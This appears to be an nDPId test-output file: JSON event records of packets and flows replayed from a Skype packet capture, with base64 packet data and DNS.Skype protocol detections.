+00417{"flow_id":247,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2237,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":38692,"pkt_caplen":59,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":59,"pkt_l4_len":25,"pkt":"0NQSxnP1PBXCt3IOCABFAAAtvQlAAEAGh7vAqAEiW77YfcO\/AbtO2k16ZDyjsFAYIAAZAgAAFgMBAAA="} +00408{"flow_id":265,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2238,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":39122,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAotU1AAEAGjXzAqAEiW77afcPNMD7mkcy22UP+lVARIAAYnwAA"} +00409{"flow_id":270,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2239,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":39178,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAou1xAAEAGh23AqAEiW77afcPRMD4OYtZGNz1k\/lARIAAi2QAA"} +00416{"flow_id":247,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2244,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":80379,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFCAAohDVAADYGyoxbvth9wKgBIgG7w79kPKOwTtpNf1AQA6BMbQAAAAAAAAAA"} +00859{"flow_id":247,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2245,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":80451,"pkt_caplen":381,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":381,"pkt_l4_len":347,"pkt":"0NQSxnP1PBXCt3IOCABFAAFvY\/RAAEAG347AqAEiW77YfcO\/AbtO2k1\/ZDyjsFAYIAD66wAAFgMBAOtCze\/nQNcvHcsYOfvI89L4Ik2qTVeABhG91RSA2sJJ1kzYFDI7KO7JFzgkxd6oyumG4aQDLtfvpbMu\/FudgtJmIJMSOpA99mjHxOh2Axkd97s+b3G3YLIFsKUPHhkSRPkZJ+pIG8LWjDKw8RFsyVEjukWtHLr8cEGXdJsdnH77PDU79d7cLv+7UmLY8GEROx+z1uNmI\/njGvIhbPG3dp9FB9SSvbiXCSgd2WGf9qFDK5XufLnGteO1JlIp8nEWTVayJ\/8t9FHphX9KSiAouvR9Cpt6lQhtjkN\/MdQ7\/JrLP3t1g3P51zkBJt8EFwMBAFItdni\/iXqfrJ2CsUecmNgpuZcjMAQsKUy43Kq7I83QRNZhMMEfUfrJijqQxBg\/NG4o2QHw+CJeYx7aejvqv+HPsqXBmaahwv+lq3Ol0SONU1Og"} +00418{"flow_id":247,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2246,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":124951,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFCAAohDZAADYGyotbvth9wKgBIgG7w79kPKOwTtpOxlAQA+BK5gAAAAAAAAAA"} +00419{"flow_id":265,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2247,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":137638,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAohClAADcGx6Bbvtp9wKgBIjA+w83ZQ\/6V5pHMt1AQA6A0\/wAAAAAAAAAA"} +00409{"flow_id":265,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2248,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":137689,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo2BJAAEAGarfAqAEiW77afcPNMD7mkcy32UP+lVAQIAAYnwAA"} +00418{"flow_id":270,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2249,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":141867,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAomCVAADcGs6Rbvtp9wKgBIjA+w9E3PWT+DmLWR1AQA6A\/OQAAAAAAAAAA"} +00410{"flow_id":270,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2250,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":141937,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAotFxAAEAGjm3AqAEiW77afcPRMD4OYtZHNz1k\/lAQIAAi2QAA"} +00438{"flow_id":248,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2269,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":400210,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA86i5AAEAGoRXAqAEiTKehBsPATzJsmy887NUaAIAZECgfjwAAAQEICj4jvfi+oN9kxXgAHFm0KHI="} +00438{"flow_id":262,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2270,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":514408,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8X0xAAEAGmx7AqAEiUA4uecPLET9q+leLFCuFJYAZECkvAwAAAQEICj4jvmoAA1WWI9QHv+GwZuI="} +00457{"flow_id":271,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2273,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":596689,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKt0gAAEARP+fAqAEiwKgBAc4GADUANhjrBXkBAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDUBcgVza3lwZQNuZXQAAAEAAQ=="} +00457{"flow_id":272,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2274,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":596772,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKslEAAEARRN7AqAEiwKgBAdxDADUANtEePu0BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDUBcgVza3lwZQNuZXQAABwAAQ=="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2276,"source":"skype.pcap","alias":"nDPId-test","flow_id":273,"flow_packet_id":1,"flow_first_seen":1431969721954,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":52714,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":273,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2276,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":954000,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABA0TgAAEARJgHAqAEiwKgBAc3qADUALN\/7ZhIBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00640{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2276,"source":"skype.pcap","alias":"nDPId-test","flow_id":273,"flow_packet_id":1,"flow_first_seen":1431969721954,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":52714,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"b.config.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2277,"source":"skype.pcap","alias":"nDPId-test","flow_id":274,"flow_packet_id":1,"flow_first_seen":1431969721954,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":51802,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":274,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2277,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969721,"pkt_ts_usec":954245,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAl6MAAEARX5bAqAEiwKgBAcpaADUALFPq9ZgBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00641{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2277,"source":"skype.pcap","alias":"nDPId-test","flow_id":274,"flow_packet_id":1,"flow_first_seen":1431969721954,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":51802,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"b.config.skype.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00881{"flow_id":266,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2281,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969722,"pkt_ts_usec":473111,"pkt_caplen":398,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":398,"pkt_l4_len":364,"pkt":"0NQSxnP1PBXCt3IOCABFAAGARphAAEAG\/T\/AqAEiW77YF8POMD6CImX9rdWNC4AYECjvDgAAAQEICj4jwiYNJSaium5jNp\/t6MnvYv17vInE+u60ockfR5mfGTOro0QN8LMKnmAyvODPlTeyrnkoAUpKceu5uu4NlVO\/v7ctJqTBVS8o0R1CSL+EPA5s6N3+\/xSicLOSk8FOw0ZK8JvNsCjaQnMlPLIfYEsiQsmAyX1mhdmutUXuX1FlLSieJ868LDp8KWnZBPAIIPoWEV34j0UNNhg8OjdvwRinNdOManql86rY\/V2GVf6ms8Z9fpiOdcl2TxrxP9aSeZz3HmVMIj+c1\/jv3lQrBoXgfkzaS2fI27xuPVW4vOSfOCqdpBx40nBoPLwgs99WAHdL8kRdgfaFID96DQLsQ1X2UmAKMsqHqhcdQYFDK9h1czYRqgSNf6OjxZjjG\/RON6LXVdAjMLtOT1G4VUncOMp43DgkS1qIRYNmPbrc8XzQI4wvtYSHiTNizbbA6Gpepi0kbFY="} +00457{"flow_id":271,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2284,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969722,"pkt_ts_usec":604608,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABK1+UAAEARH0rAqAEiwKgBAc4GADUANhjrBXkBAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDUBcgVza3lwZQNuZXQAAAEAAQ=="} +00457{"flow_id":272,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2285,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969722,"pkt_ts_usec":604741,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABK050AAEARI5LAqAEiwKgBAdxDADUANtEePu0BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDUBcgVza3lwZQNuZXQAABwAAQ=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2288,"source":"skype.pcap","alias":"nDPId-test","flow_id":275,"flow_packet_id":1,"flow_first_seen":1431969722958,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"212.161.8.36","src_port":50130,"dst_port":13392,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":275,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2288,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969722,"pkt_ts_usec":958172,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAMbpAAEAGam7AqAEi1KEIJMPSNFCRDXDAAAAAALAC\/\/+cTwAAAgQFtAEDAwUBAQgKPiPECQAAAAAEAgAA"} +00441{"flow_id":273,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2289,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":14290,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAmT0AAEARXfzAqAEiwKgBAc3qADUALN\/7ZhIBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00440{"flow_id":274,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2290,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":14375,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAj1YAAEARZ+PAqAEiwKgBAcpaADUALFPq9ZgBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00437{"flow_id":275,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2291,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":31557,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADQGqCzUoQgkwKgBIjRQw9LBK81pkQ1wwaASOJBYJAAAAgQFrAQCCAo\/mk5jPiPECQEDAwk="} +00425{"flow_id":275,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2292,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":31634,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA04iJAAEAGuhHAqAEi1KEIJMPSNFCRDXDBwSvNaoAQECyvBQAAAQEICj4jxFI\/mk5j"} +00544{"flow_id":275,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2293,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":32241,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"0NQSxnP1PBXCt3IOCABFAACKTB5AAEAGT8DAqAEi1KEIJMPSNFCRDXDBwSvNaoAYECzFcwAAAQEICj4jxFI\/mk5jXPurvZMrHIdlgMlexHi7wCv7AA8FTqH3w+gb0BQ2P6KXfb0wivszuTShDu1I3SbXRn8kRbL7cCHeN3y9yjNIGXbv1DXiayARDqcsrfqj+AmmX4QlEts="} +00425{"flow_id":275,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2294,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":105722,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0gx9AADQGJRXUoQgkwKgBIjRQw9LBK81qkQ1xF4AQAB2+rAAAAQEICj+aTnU+I8RS"} +00566{"flow_id":275,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2295,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":106420,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"PBXCt3IO0NQSxnP1CABFAACYgyBAADQGJLDUoQgkwKgBIjRQw9LBK81qkQ1xF4AYAB27BQAAAQEICj+aTnY+I8RSpoGucEyyRdjTKtoYRO7AJ76r9rOEjsyPSI822XDd6DPWQ7lLpeeo8kDbK9Lb6aq\/oivg0c5n7G26Y7jJZh9E5dKbkMH+15xd6tNouZaP9NUCC0CxLkdMTRpDGKnG\/6TFMnvwoQ=="} +00426{"flow_id":275,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2296,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":106486,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0qNJAAEAG82HAqAEi1KEIJMPSNFCRDXEXwSvNzoAQECit8wAAAQEICj4jxJs\/mk52"} +00438{"flow_id":275,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2297,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":107014,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8hIRAAEAGF6jAqAEi1KEIJMPSNFCRDXEXwSvNzoAYECheNQAAAQEICj4jxJw\/mk5203B1cONeI20="} +00567{"flow_id":265,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2298,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":488361,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"PBXCt3IO0NQSxnP1CABFAACYhCpAADcGxy9bvtp9wKgBIjA+w83ZQ\/6V5pHMt1AYA6Di6wAA9JBf+ogmKiXcu4z5F+778sCrUAWGaaxD4hdBEupzSDQylY\/rXnH0vrRIWDMGFCMzxv+kxTJ78KFet\/w9SrPImfZvVLVi66CRjiesLXojeIkm3wSlkltQgb6XXB2qkyh5Vk+0lcLLAHGI06P0CdBu4g=="} +00410{"flow_id":265,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2299,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":488428,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo9yhAAEAGS6HAqAEiW77afcPNMD7mkcy3AAAAAFAEAAAQhQAA"} +00439{"flow_id":275,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2300,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":490731,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8\/2tAAEAGnMDAqAEi1KEIJMPSNFCRDXEXwSvNzoAYEChctwAAAQEICj4jxho\/mk5203B1cONeI20="} +00432{"flow_id":16,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2301,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":490924,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6hMgAAEARcnfAqAEiwKgBAcLvADUAJlJY1+QBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00438{"flow_id":215,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2302,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":584541,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8WBtAADcGbGtv3U2OwKgBIpxXw6bHcDilFXPfSIAYAB076wAAAQEICk2MeyA+I1wikBQjBAcCSZI="} +00439{"flow_id":227,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2304,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":587885,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8\/JJAAEAGJLXAqAEiQAQXpsOznFablHVW59gF64AZECr5vQAAAQEICj4jxnpMP03dvRFcC9M5aYU="} +00538{"flow_id":229,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2305,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":612938,"pkt_caplen":145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":145,"pkt_l4_len":111,"pkt":"PBXCt3IO0NQSxnP1CABFAACDueNAADYGP9+dN+uwwKgBIgG7w7Xvxq\/qBnJxGIAYAB2IUwAAAQEICkXqJwA+I4QTFgMBAEoCAABGAwFAG+SGAq3gKeF3dOVEucmctDExXgLdd50VSpYJul2ocCAcoOT2TGNRri+OTuHmdmoKiNXYxVyumMXkgfIqab+QWAAFAA=="} +00410{"flow_id":229,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2306,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":613034,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAox8dAAEAGKFbAqAEinTfrsMO1AbsGcnEYAAAAAFAEAAAoMwAA"} +00438{"flow_id":226,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2307,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":624125,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8KCRAAEAGMIfAqAEiQTffD8OynFri9dCOh7IvWoAZECnb5gAAAQEICj4jxp0uudJYB9ShBDhY9ug="} +00439{"flow_id":257,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2310,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":763320,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8\/S1AAEAGFobAqAEiUYUTucPKrY8W93Zm19BG5IAZECkhHwAAAQEICj4jxycCsDJIZdJpfu5kCPY="} +00528{"flow_id":227,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2311,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":790537,"pkt_caplen":137,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":137,"pkt_l4_len":103,"pkt":"PBXCt3IO0NQSxnP1CABFAAB7SH5AADYG4opABBemwKgBIpxWw7Pn2AXzm5R1X4AZAB3c4wAAAQEICkw\/Xx4+I8Z64vChZIGSYGPd3gWvHAF1FFvTvMFyE+EKC4hLmmkTcTXcSZeXLUvbX\/aasqLFgOputlv\/VSyHYLoj1pO44uMuYdtsNL3meSE="} +00418{"flow_id":239,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2313,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":864300,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAuQpkAAEARjprAqAEisBo3pzLd+R0AGtW0noACYJ7Q\/f1BEkFMtKs2xKkA"} 